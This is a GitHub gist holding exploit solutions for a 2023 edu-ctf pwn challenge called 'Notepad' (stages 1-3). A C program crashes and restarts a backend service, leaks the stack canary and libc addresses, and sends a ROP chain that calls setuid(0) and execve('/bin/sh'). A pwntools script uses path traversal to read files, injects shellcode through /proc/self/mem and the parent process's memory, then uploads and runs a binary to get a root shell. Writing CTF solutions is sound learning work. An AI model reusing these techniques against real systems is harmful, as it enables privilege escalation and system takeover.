Last active
July 17, 2024 02:19
-
-
Save lebr0nli/50392dc3304593a2ba5313f34273a715 to your computer and use it in GitHub Desktop.
2023 edu-ctf - [HW3] Notepad Stage1 ~ Stage3 (pwn)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <sys/wait.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <netinet/tcp.h> | |
#include <time.h> | |
#include <arpa/inet.h> | |
#include <limits.h> | |
#define USERNAME_LEN 0x10 | |
#define PASSWORD_LEN 0x10 | |
#define CMD_Register 0x1 | |
#define CMD_Login 0x2 | |
#define CMD_GetFolder 0x11 | |
#define CMD_NewNote 0x12 | |
#define CMD_Flag 0x8787 | |
#define RES_Success 0x0 | |
#define RES_Failed 0x1 | |
#define RES_NotFound 0x2 | |
#define BACKEND_UP_CMD "/home/notepad/backend_4050c20b6ca4118b63acd960cd1b9cd8;echo done;" | |
struct Command | |
{ | |
__uint32_t cmd; | |
u_char token[32]; | |
u_char args[128]; | |
}; | |
struct Response | |
{ | |
__uint32_t code; | |
u_char res[256]; | |
}; | |
struct Session | |
{ | |
struct User *username; | |
size_t timestamp; | |
char token[0x20]; | |
struct session *next; | |
}; | |
struct User | |
{ | |
char username[0x10]; | |
char password[0x10]; | |
char folder[0x88]; | |
struct User *next; | |
}; | |
char *Token; | |
void errorexit(char *msg) | |
{ | |
puts(msg); | |
exit(-1); | |
} | |
int connect_backend() | |
{ | |
int fd = socket(AF_INET, SOCK_STREAM, 0); | |
struct sockaddr_in info; | |
bzero(&info, sizeof(info)); | |
info.sin_family = PF_INET; | |
info.sin_addr.s_addr = inet_addr("127.0.0.1"); | |
info.sin_port = htons(8765); | |
if (connect(fd, (struct sockaddr *)&info, sizeof(info)) == -1) | |
{ | |
return -1; | |
} | |
return fd; | |
} | |
void randstr(char *buffer, size_t size) | |
{ | |
for (int i = 0; i < size; i++) | |
{ | |
buffer[i] = rand() % 26 + 'a'; | |
} | |
} | |
void crash_backend() | |
{ | |
struct Command cmd; | |
struct Response res; | |
char token[32]; | |
// create user | |
int backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_Register; | |
strcpy(cmd.args, "crash"); | |
strcpy(&cmd.args[strlen(cmd.args) + 1], "crash"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
// login | |
backendfd = connect_backend(); | |
cmd.cmd = CMD_Login; | |
write(backendfd, &cmd, sizeof(cmd)); | |
read(backendfd, &res, sizeof(res)); | |
strncpy(token, res.res, 32); | |
close(backendfd); | |
// overflow | |
backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_GetFolder; | |
strcpy(cmd.token, token); | |
for (int i = 0; i < sizeof(cmd.args); ++i) | |
cmd.args[i] = 'X'; | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
// segfault | |
backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_GetFolder; | |
strcpy(cmd.token, "bye"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
} | |
int main() | |
{ | |
setvbuf(stdin, 0, _IONBF, 0); | |
setvbuf(stdout, 0, _IONBF, 0); | |
puts("[*] crash the backend..."); | |
crash_backend(); | |
sleep(5); | |
puts("[*] start backend..."); | |
pid_t pid; | |
if (fork() == 0) | |
{ | |
system(BACKEND_UP_CMD); | |
return 0; | |
} | |
else | |
{ | |
puts("[*] wait backend start..."); | |
sleep(5); | |
puts("[*] start exploit..."); | |
srand(time(0)); | |
struct Command cmd; | |
struct Response res; | |
char token[32] = {}; | |
memset(&cmd, 0, sizeof(cmd)); | |
// create user | |
int backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_Register; | |
strcpy(cmd.args, "leak"); | |
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
// leak data | |
backendfd = connect_backend(); | |
cmd.cmd = CMD_Login; | |
strcpy(cmd.args, "leak"); | |
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
memset(&res, 0, sizeof(res)); | |
read(backendfd, &res, sizeof(res)); | |
// write(1, &res, sizeof(res)); | |
close(backendfd); | |
__uint64_t libc_base = *(__uint64_t *)((char *)&res + 0x28) - 0x1bf7a; | |
printf("[*] libc_base: %#lx\n", libc_base); | |
// setup stack | |
backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_Flag; | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
// leak data | |
backendfd = connect_backend(); | |
cmd.cmd = CMD_Login; | |
strcpy(cmd.args, "leak"); | |
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
memset(&res, 0, sizeof(res)); | |
read(backendfd, &res, sizeof(res)); | |
// write(1, &res, sizeof(res)); | |
close(backendfd); | |
__uint64_t canary = *(__uint64_t *)((char *)&res + 0x98); | |
__uint64_t stack_addr = *(__uint64_t *)((char *)&res + 0xf8); | |
__uint64_t binary_base = *(__uint64_t *)((char *)&res + 0xe8) - 0x1e13; | |
printf("[*] canary: %#lx\n", canary); | |
printf("[*] stack_addr: %#lx\n", stack_addr); | |
printf("[*] binary_base: %#lx\n", binary_base); | |
if (canary == 0 || canary & 0xff) | |
{ | |
puts("[-] canary leak failed."); | |
return -1; | |
} | |
if (stack_addr == 0) | |
{ | |
puts("[-] stack_addr leak failed."); | |
return -1; | |
} | |
if (binary_base == 0 || binary_base & 0xfff) | |
{ | |
puts("[-] binary_base leak failed."); | |
return -1; | |
} | |
// login again | |
backendfd = connect_backend(); | |
cmd.cmd = CMD_Login; | |
strcpy(cmd.args, "leak"); | |
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak"); | |
write(backendfd, &cmd, sizeof(cmd)); | |
memset(&res, 0, sizeof(res)); | |
read(backendfd, &res, sizeof(res)); | |
// write(1, &res, sizeof(res)); | |
strncpy(token, res.res, 32); | |
close(backendfd); | |
// overwrite next pointer of session to return address of check_token | |
backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_GetFolder; | |
strcpy(cmd.token, token); | |
for (int i = 0; i < 0x21; ++i) | |
cmd.args[i] = 'X'; | |
__uint64_t *p = (__uint64_t *)&cmd.args[0x21]; | |
*p = stack_addr - 0x234; | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
// getchar(); | |
// overwrite saved rbp of check_token | |
backendfd = connect_backend(); | |
memset(&cmd, 0, sizeof(cmd)); | |
cmd.cmd = CMD_GetFolder; | |
p = (__uint64_t *)&cmd.token; | |
*p = stack_addr - 0x234 + 0x150; // just for passing check_token | |
p = (__uint64_t *)&cmd.args[1]; | |
*p = stack_addr - 0x234 + 0x1c0; | |
p = (__uint64_t *)&cmd.args[0x14]; | |
*p++ = canary; | |
*p++ = binary_base + 0x5250; // bss | |
*p++ = libc_base + 0x001bc0a1; // pop rdi; ret | |
*p++ = 0; | |
*p++ = libc_base + 0xec0d0; // setuid | |
*p++ = libc_base + 0x001bc0a1; // pop rdi; ret | |
*p++ = libc_base + 0x1d8698; // /bin/sh | |
*p++ = libc_base + 0x001bb397; // pop rsi; ret | |
*p++ = 0; | |
*p++ = libc_base + 0x000796a2; // pop rdx; ret | |
*p++ = 0; | |
*p++ = libc_base + 0xeb080; // execve | |
write(backendfd, &cmd, sizeof(cmd)); | |
close(backendfd); | |
wait(NULL); | |
puts("[*] Done"); | |
return 0; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import subprocess | |
import base64 | |
from pwn import * | |
binary = ELF("./share/notepad_patched") | |
libc = ELF("./share/libc.so.6") | |
context.binary = binary | |
if args.ITERM: | |
context.terminal = ["iterm2-terminal", "--option", "0"] | |
else: | |
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"] | |
context.arch = context.binary.arch | |
_, HOST, PORT = "nc 10.113.184.121 21566".split() | |
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT) | |
GDB_SCRIPT = """ | |
# tbreak main | |
continue | |
""".strip() | |
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#")) | |
def one_gadget(filename: str, offset: int = 0, level: int = 0) -> list: | |
return [ | |
int(i) + offset | |
for i in subprocess.check_output(["one_gadget", "--raw", f"-l{level}", filename]) | |
.decode() | |
.split(" ") | |
] | |
def conn() -> tube: | |
if args.LOCAL: | |
# ./solve LOCAL | |
# return process([binary.path]) | |
return process(["timeout", "60", binary.path]) | |
elif args.GDB: | |
# ./solve GDB | |
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT) | |
# ./solve | |
return remote(HOST, PORT) | |
def exploit() -> bool: | |
def read_file(filename: str, offset: int = 0) -> bytes: | |
payload = b"../../../" + filename.rjust(98, b"/") | |
# info(f"payload: {payload}") | |
io.sendlineafter(b"> ", b"5") | |
io.sendlineafter(b"Note Name: ", payload) | |
io.sendlineafter(b"Offset: ", str(offset).encode()) | |
data = io.recvuntil(b"+========== Notepad ==========+\n", drop=True) | |
if data.startswith(b"Could") or data.startswith(b"Read "): | |
return b"" | |
return data | |
def edit_file(filename: str, data: bytes, offset: int = 0) -> bytes: | |
payload = b"../../../" + filename.rjust(98, b"/") | |
# info(f"payload: {payload}") | |
io.sendlineafter(b"> ", b"4") | |
io.sendlineafter(b"Note Name: ", payload) | |
io.sendlineafter(b"Offset: ", str(offset).encode()) | |
io.sendlineafter(b"Content Length: ", str(len(data)).encode()) | |
io.sendafter(b"Content: ", data) | |
def dump_backend() -> None: | |
backend_filename = read_file(b"/proc/1/cmdline").split()[2] | |
info(backend_filename.decode()) | |
with open("./backend", "wb") as f: | |
offset = 0 | |
while True: | |
data = read_file(backend_filename, offset) | |
f.write(data) | |
if len(data) == 0: | |
break | |
offset += len(data) | |
def get_flag1() -> None: | |
success(read_file(b"/flag_user").decode()) # flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!} | |
def get_flag2() -> None: | |
line = read_file(b"/proc/self/maps") | |
binary.address = int(line.split(b"-")[0], 16) | |
info(f"binary.address: {hex(binary.address)}") | |
sc = """ | |
mov WORD PTR [rsi], 34695 | |
xor rax, rax | |
inc rax | |
syscall | |
xor rax, rax | |
syscall | |
add sil, 4 | |
xor rdi, rdi | |
inc rdi | |
xor rax, rax | |
inc rax | |
syscall | |
""" | |
sc = asm(sc) | |
edit_file(b"/proc/self/mem", sc, binary.address + 0x167F) | |
io.sendlineafter(b"> ", b"1") | |
io.sendlineafter(b"Username: ", b"a") | |
io.sendlineafter(b"Password: ", b"b") | |
success(io.recvuntil(b"}").decode()) # flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?} | |
def get_flag3() -> None: | |
proc_status = read_file(b"/proc/self/status").splitlines() | |
pid = int(proc_status[5].split()[1]) | |
ppid = int(proc_status[6].split()[1]) | |
info(f"pid: {pid}") | |
info(f"ppid: {ppid}") | |
line = read_file(b"/proc/self/maps") | |
binary.address = int(line.split(b"-")[0], 16) | |
info(f"binary.address: {hex(binary.address)}") | |
parent_rip = int(read_file(f"/proc/{ppid}/syscall".encode()).split()[-1], 16) | |
info(f"parent_rip: {parent_rip:#x}") | |
sc = shellcraft.setuid(0) | |
sc += shellcraft.sh() | |
sc = asm(sc) | |
edit_file(f"/proc/{ppid}/mem".encode(), sc, parent_rip) | |
io.sendlineafter(b"> ", b"1") | |
io.sendafter(b"Username: ", b"A" * 0x10) | |
io.sendafter(b"Password: ", b"B" * 0x10) | |
io.clean() | |
# io.sendline(b"cat /lib/x86_64-linux-gnu/libc.so.6;echo DUMP_END") | |
# with open("./libc.so.6", "wb") as f: | |
# f.write(io.recvuntil(b"DUMP_END", drop=True)) | |
# return | |
os.system(b"gcc -ggdb -o pwn pwn.c") | |
with open("./pwn", "rb") as f: | |
payload = base64.b64encode(f.read()) | |
io.sendline(b"echo " + payload + b" | base64 -d > /tmp/pwn") | |
io.sendline(b"chmod +x /tmp/pwn") | |
io.sendline(b"/tmp/pwn") | |
# $ whoami | |
# root | |
# $ cat /flag_root | |
# flag{Oh!!Y00000u_pwn_the_b@ck3nd_and_g0t_root!!} | |
io.interactive() | |
with conn() as io: | |
io.sendlineafter(b"> ", b"2") | |
io.sendafter(b"Username: ", b"AAAAAAAA") | |
io.sendafter(b"Password: ", b"AAAAAAAA") | |
io.sendlineafter(b"> ", b"1") | |
io.sendafter(b"Username: ", b"AAAAAAAA") | |
io.sendafter(b"Password: ", b"AAAAAAAA") | |
if args.STAGE1: | |
get_flag1() | |
elif args.STAGE2: | |
get_flag2() | |
elif args.STAGE3: | |
get_flag3() | |
return True | |
def main() -> None: | |
if not args.LOOP: | |
exploit() | |
return | |
cnt = 0 | |
saved_addresses = {} | |
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))): | |
saved_addresses[b] = b.address | |
# ./solve LOOP | |
while cnt := cnt + 1: | |
info(f"Attempted {cnt}") | |
try: | |
if exploit(): | |
return | |
except Exception as e: | |
debug(str(e)) | |
# clean up the addresses we set during exploit | |
for b, addr in saved_addresses.items(): | |
b.address = addr | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment